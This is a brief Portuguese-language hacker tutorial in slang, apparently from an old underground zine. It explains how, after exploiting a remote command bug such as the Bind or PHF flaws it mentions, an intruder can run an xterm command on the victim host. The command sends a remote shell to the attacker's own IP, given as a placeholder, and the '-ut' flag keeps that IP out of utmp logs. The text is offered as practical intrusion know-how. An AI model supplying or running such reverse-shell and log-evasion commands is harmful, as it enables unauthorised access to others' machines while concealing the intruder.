Bah!!! Que viajem escrever sobre issu pois a tecnica ja eh taum
conhecida q nem da mais tesaum. Mas para quem matou aula vamos a
explicacao da t3ckn33k.

Ao descobrir um bug remoto q lhe permita entrar com um unico comando,
voce pode fazer com que o host remoto lhe de shell do respectivo id
atravez do xterm.
Issu pode ser muito util em xploits remotlys como Bind, PHF, etc...
Para que issu funfe direito voce deve estar usando X ou nada feito.
Entao digite no host remoto o seguinte comando:

xterm -ut -display 222.222.222.222:0

Onde:
222.222.222.222 eh o seu ip.

O -ut serve para que seu ip nao seja salvo nos log utmp.
Pronto. Voce esta usando uma shell remotly.